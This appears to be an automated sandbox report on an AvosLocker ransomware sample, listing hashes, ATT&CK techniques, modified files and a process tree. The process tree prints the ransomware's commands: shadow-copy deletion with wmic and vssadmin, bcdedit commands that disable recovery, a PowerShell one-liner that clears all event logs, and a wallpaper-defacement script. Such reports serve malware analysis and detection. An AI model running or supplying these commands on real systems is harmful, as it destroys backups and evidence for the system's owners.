avoslocker | 7859dd2f4c9797122bfe2097c5d17279c4050471c67110f95906ac152fec76a2

Analysis

max time kernel
94s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 00:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sex.exe
Size

1.6MB
MD5

6bd9e9d6f55a5491d8b24768023ab9d7
SHA1

2a5c3b978530bb2cdc981ccf52dd58a41010bc4e
SHA256

7859dd2f4c9797122bfe2097c5d17279c4050471c67110f95906ac152fec76a2
SHA512

1cd39b1d85bd9ae6d1399cd8d0e4d878b0602cd068750bb349b9c6d143d571baaab81e559e1f8cfb769ad5e1b1e0aad605b1f912ca768c554229215e218f8e18
SSDEEP

24576:1Imw98okVgela0as5CqLVO7XJCjkD3N0HRAxV0aEhbHdn0TrldepPZ:LL5ljasaUKeaEhDF

Score

10^/10

avoslocker defense_evasion discovery evasion execution impact ransomware spyware stealer upx

Malware Config

Signatures

Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
ransomware avoslocker
Avoslocker family
avoslocker
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
37340	bcdedit.exe
37332	bcdedit.exe

Renames multiple (8510) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Executes dropped EXE 3 IoCs

pid	Process
4892	hack.exe
17708	Firefox Installer.exe
18000	setup-stub.exe

Loads dropped DLL 7 IoCs

pid	Process
18000	setup-stub.exe
18000	setup-stub.exe
18000	setup-stub.exe
18000	setup-stub.exe
18000	setup-stub.exe
18000	setup-stub.exe
18000	setup-stub.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	hack.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	hack.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1742801547.png"	reg.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/17708-22735-0x0000000000400000-0x0000000000446000-memory.dmp	upx
behavioral2/files/0x000b000000023bdf-22734.dat	upx
behavioral2/memory/17708-22824-0x0000000000400000-0x0000000000446000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\ja-JP\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-16.png	hack.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE\THMBNAIL.PNG	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Grace-ppd.xrm-ms	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Retail-ppd.xrm-ms	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\WordVL_KMS_Client-ppd.xrm-ms	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sv-se\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\logging.properties	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\sat_logo_2x.png	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ru-ru\GET_YOUR_FILES_BACK.txt	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\GET_YOUR_FILES_BACK.txt	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-GoogleCloudCache.scale-200.png	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LEVEL\LEVEL.INF	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PersonalPipcDemoR_BypassTrial365-ul-oob.xrm-ms	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de_2x.gif	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\example_icons.png	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nl-nl\ui-strings.js	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\GenericMailBadge.scale-100.png	hack.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\COPYING.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\msadc\de-DE\msdaprsr.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\s_agreement_filetype.svg	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\plugin-selectors.css	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\EXCEL_WHATSNEW.XML	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG.HXS	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\css\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\organize.svg	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-GoogleCloudCache.scale-125.png	hack.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_Grace-ul-oob.xrm-ms	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Subscription3-pl.xrm-ms	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\ja-JP\wmpnssci.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\ui-strings.js	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_cancel_18.svg	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\8041_48x48x32.png	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON\CANYON.ELM	hack.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\ecc.md	hack.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\fr-FR\wmpnssui.dll.mui	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20241007090315.pma	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Outlook.scale-100.png	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\PlatformCapabilities\PowerPointCapabilities.json	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\dcfmui.msi.16.en-us.boot.tree.dat	hack.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\ja-JP\oledb32r.dll.mui	hack.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ClickToRun\FrequentOfficeUpdateSchedule.xml	hack.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\fa.pak	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pt-br\GET_YOUR_FILES_BACK.txt	hack.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\OFFSYMSL.TTF	hack.exe
File created	C:\Program Files\Microsoft Office\root\Office16\ADDINS\GET_YOUR_FILES_BACK.txt	hack.exe
File created	C:\Program Files\Internet Explorer\de-DE\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\LinkedInboxMediumTile.scale-200.png	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png	hack.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\eu-es\GET_YOUR_FILES_BACK.txt	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\eu-es\ui-strings.js	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ui-strings.js	hack.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\EmptyView.scale-400.png	hack.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\s_checkbox_selected_18.svg	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\db2v0801.xsl	hack.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms	hack.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\rt.jar	hack.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
17684	powershell.exe
53304	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
19252	18000	WerFault.exe	100

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Firefox Installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup-stub.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
37348	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4892	hack.exe
4892	hack.exe
53304	powershell.exe
53304	powershell.exe
53304	powershell.exe
53304	powershell.exe
17684	powershell.exe
17684	powershell.exe
17684	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4892	hack.exe
Token: SeIncreaseQuotaPrivilege	53312	WMIC.exe
Token: SeSecurityPrivilege	53312	WMIC.exe
Token: SeTakeOwnershipPrivilege	53312	WMIC.exe
Token: SeLoadDriverPrivilege	53312	WMIC.exe
Token: SeSystemProfilePrivilege	53312	WMIC.exe
Token: SeSystemtimePrivilege	53312	WMIC.exe
Token: SeProfSingleProcessPrivilege	53312	WMIC.exe
Token: SeIncBasePriorityPrivilege	53312	WMIC.exe
Token: SeCreatePagefilePrivilege	53312	WMIC.exe
Token: SeBackupPrivilege	53312	WMIC.exe
Token: SeRestorePrivilege	53312	WMIC.exe
Token: SeShutdownPrivilege	53312	WMIC.exe
Token: SeDebugPrivilege	53312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	53312	WMIC.exe
Token: SeRemoteShutdownPrivilege	53312	WMIC.exe
Token: SeUndockPrivilege	53312	WMIC.exe
Token: SeManageVolumePrivilege	53312	WMIC.exe
Token: 33	53312	WMIC.exe
Token: 34	53312	WMIC.exe
Token: 35	53312	WMIC.exe
Token: 36	53312	WMIC.exe
Token: SeDebugPrivilege	53304	powershell.exe
Token: SeIncreaseQuotaPrivilege	53312	WMIC.exe
Token: SeSecurityPrivilege	53312	WMIC.exe
Token: SeTakeOwnershipPrivilege	53312	WMIC.exe
Token: SeLoadDriverPrivilege	53312	WMIC.exe
Token: SeSystemProfilePrivilege	53312	WMIC.exe
Token: SeSystemtimePrivilege	53312	WMIC.exe
Token: SeProfSingleProcessPrivilege	53312	WMIC.exe
Token: SeIncBasePriorityPrivilege	53312	WMIC.exe
Token: SeCreatePagefilePrivilege	53312	WMIC.exe
Token: SeBackupPrivilege	53312	WMIC.exe
Token: SeRestorePrivilege	53312	WMIC.exe
Token: SeShutdownPrivilege	53312	WMIC.exe
Token: SeDebugPrivilege	53312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	53312	WMIC.exe
Token: SeRemoteShutdownPrivilege	53312	WMIC.exe
Token: SeUndockPrivilege	53312	WMIC.exe
Token: SeManageVolumePrivilege	53312	WMIC.exe
Token: 33	53312	WMIC.exe
Token: 34	53312	WMIC.exe
Token: 35	53312	WMIC.exe
Token: 36	53312	WMIC.exe
Token: SeBackupPrivilege	53512	vssvc.exe
Token: SeRestorePrivilege	53512	vssvc.exe
Token: SeAuditPrivilege	53512	vssvc.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeSecurityPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeSecurityPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe
Token: SeSecurityPrivilege	53304	powershell.exe
Token: SeBackupPrivilege	53304	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
18000	setup-stub.exe
18000	setup-stub.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 3236 wrote to memory of 4892	3236	sex.exe	82
PID 3236 wrote to memory of 4892	3236	sex.exe	82
PID 3236 wrote to memory of 4892	3236	sex.exe	82
PID 4892 wrote to memory of 3508	4892	hack.exe	84
PID 4892 wrote to memory of 3508	4892	hack.exe	84
PID 4892 wrote to memory of 3696	4892	hack.exe	85
PID 4892 wrote to memory of 3696	4892	hack.exe	85
PID 4892 wrote to memory of 3440	4892	hack.exe	86
PID 4892 wrote to memory of 3440	4892	hack.exe	86
PID 4892 wrote to memory of 1408	4892	hack.exe	87
PID 4892 wrote to memory of 1408	4892	hack.exe	87
PID 4892 wrote to memory of 4260	4892	hack.exe	88
PID 4892 wrote to memory of 4260	4892	hack.exe	88
PID 3440 wrote to memory of 37332	3440	cmd.exe	89
PID 3440 wrote to memory of 37332	3440	cmd.exe	89
PID 3696 wrote to memory of 37348	3696	cmd.exe	91
PID 3696 wrote to memory of 37348	3696	cmd.exe	91
PID 1408 wrote to memory of 37340	1408	cmd.exe	90
PID 1408 wrote to memory of 37340	1408	cmd.exe	90
PID 4260 wrote to memory of 53304	4260	cmd.exe	93
PID 4260 wrote to memory of 53304	4260	cmd.exe	93
PID 3508 wrote to memory of 53312	3508	cmd.exe	94
PID 3508 wrote to memory of 53312	3508	cmd.exe	94
PID 4892 wrote to memory of 17684	4892	hack.exe	98
PID 4892 wrote to memory of 17684	4892	hack.exe	98
PID 3236 wrote to memory of 17708	3236	sex.exe	99
PID 3236 wrote to memory of 17708	3236	sex.exe	99
PID 3236 wrote to memory of 17708	3236	sex.exe	99
PID 17708 wrote to memory of 18000	17708	Firefox Installer.exe	100
PID 17708 wrote to memory of 18000	17708	Firefox Installer.exe	100
PID 17708 wrote to memory of 18000	17708	Firefox Installer.exe	100
PID 17684 wrote to memory of 18428	17684	powershell.exe	101
PID 17684 wrote to memory of 18428	17684	powershell.exe	101
PID 17684 wrote to memory of 18600	17684	powershell.exe	102
PID 17684 wrote to memory of 18600	17684	powershell.exe	102

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\sex.exe
"C:\Users\Admin\AppData\Local\Temp\sex.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Users\Admin\AppData\Local\Temp\hack.exe
  "C:\Users\Admin\AppData\Local\Temp\hack.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:53312
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      Interacts with shadow copies
      PID:37348
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:37332
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:37340
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:53304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:17684
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1742801547.png /f
      4⤵
      Sets desktop wallpaper using registry
      PID:18428
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
      4⤵
      PID:18600
- C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:17708
- - C:\Users\Admin\AppData\Local\Temp\7zSC25D5609\setup-stub.exe
    .\setup-stub.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:18000
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 18000 -s 2492
      4⤵
      Program crash
      PID:19252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:53512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 18000 -ip 18000
1⤵
PID:19208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
c92c2b70fb37f84aab38412ad9226aa8

SHA1
14f2e9a83285612d0a7b2c83b8f89bccfde6c154

SHA256
d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

SHA512
04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
eb6332ae9e8fec69c2236355e2638f9d

SHA1
71500d57fb304979afd6756f06d4b9a59f995eb7

SHA256
88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32

SHA512
e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSC25D5609\setup-stub.exe

Filesize
630KB

MD5
ea482758c49d3c0064c6a40e797ab046

SHA1
e93f077ca6fd640e28eb9bd692f44d57ed96fa1a

SHA256
8c6eb21ff36dcb4b2adcf556039a9ef518a3e25a1fa02bd2b8d5d8ecd344d06c

SHA512
f950457146fa6de0eddfb8219b782f019d97b45a6b2d6fb66e6f3fed28b62a15c86cd22c96a3e402b06c6bb7f14c923925e2abb7e49422dcc7e2b681b7c1c3da

Download Submit
C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe

Filesize
364KB

MD5
530894a1f0eb42c7837db4d74829f5c6

SHA1
99909db6f574ca964a9b822b9b19fd2e851b8c1e

SHA256
aac3ce797f50e0a5b9f1b43aaaffb439d4c42e3cf5b9fbeac52fa3d263fde3d0

SHA512
0836dd919c5f5648ce3445f9a3c84afe5e1e694ff998f1204498b2a86b13ed297469bea88af0ad7e49c97cd57153c7c43fd0a311b4c2685f4dfca5574d1d10f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jleirbcq.sc5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\hack.exe

Filesize
807KB

MD5
e27b5291c8fb2dfdeb7f16bb6851df5e

SHA1
40207f83b601cd60905c1f807ac0889c80dfe33f

SHA256
ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

SHA512
2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\CityHash.dll

Filesize
53KB

MD5
2021acc65fa998daa98131e20c4605be

SHA1
2e8407cfe3b1a9d839ea391cfc423e8df8d8a390

SHA256
c299a0a71bf57eb241868158b4fcfe839d15d5ba607e1bdc5499fdf67b334a14

SHA512
cb96d3547bab778cbe94076be6765ed2ae07e183e4888d6c380f240b8c6708662a3b2b6b2294e38c48bc91bf2cc5fc7cfcd3afe63775151ba2fe34b06ce38948

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa13F1.tmp\InetBgDL.dll

Filesize
95KB

MD5
af9e2d138cf17b8ff4d4b8df7fddaefa

SHA1
539afa302bc5cae7022896048cb7a0f3f2ab6907

SHA256
3921dec014fadd1de7f3a36606ac95882a17cb96df38a5424e58531a169f825b

SHA512
631ad8bbb9eea42b230f2729714874c921677c4be91ac0b35ab9e7751613045eb249f8a0dd1d5ce06bf2cd544507795836dcbf42be79f01a71333570ea27c840

Download Submit
